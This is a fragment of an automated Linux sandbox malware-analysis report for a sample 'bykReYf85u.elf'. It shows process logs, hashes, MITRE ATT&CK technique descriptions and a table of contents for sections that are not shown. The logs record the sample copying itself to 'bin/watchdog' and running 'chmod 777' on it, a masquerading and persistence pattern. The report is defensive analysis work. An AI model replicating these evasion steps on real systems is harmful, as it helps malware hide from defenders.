MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	13:34:53
Start date (UTC):	01/08/2024
Path:	/usr/bin/mkdir
Arguments:	mkdir bin
File size:	88408 bytes
MD5 hash:	088c9d1df5a28ed16c726eca15964cb7

Start time (UTC):	13:34:53
Start date (UTC):	01/08/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	13:34:53
Start date (UTC):	01/08/2024
Path:	/usr/bin/mv
Arguments:	mv /tmp/bykReYf85u.elf bin/watchdog
File size:	149888 bytes
MD5 hash:	504f0590fa482d4da070a702260e3716

Start time (UTC):	13:34:53
Start date (UTC):	01/08/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	13:34:53
Start date (UTC):	01/08/2024
Path:	/usr/bin/chmod
Arguments:	chmod 777 bin/watchdog
File size:	63864 bytes
MD5 hash:	739483b900c045ae1374d6f53a86a279

Start time (UTC):	13:34:53
Start date (UTC):	01/08/2024
Path:	/tmp/bykReYf85u.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Start time (UTC):	13:34:53
Start date (UTC):	01/08/2024
Path:	/tmp/bykReYf85u.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Start time (UTC):	13:34:53
Start date (UTC):	01/08/2024
Path:	/tmp/bykReYf85u.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Tactics:	Defense Evasion
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report bykReYf85u.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Snort Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Symbols

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

DNS Queries

DNS Answers

HTTP Packets

System Behavior

Analysis Process: bykReYf85u.elf PID: 5484, Parent PID: 5406

General

Chronological Activities

Analysis Process: bykReYf85u.elf PID: 5486, Parent PID: 5484

General

Chronological Activities

Analysis Process: sh PID: 5486, Parent PID: 5484

General

Chronological Activities

Analysis Process: sh PID: 5488, Parent PID: 5486

General

Chronological Activities

Analysis Process: rm PID: 5488, Parent PID: 5486

Linux Analysis Report
bykReYf85u.elf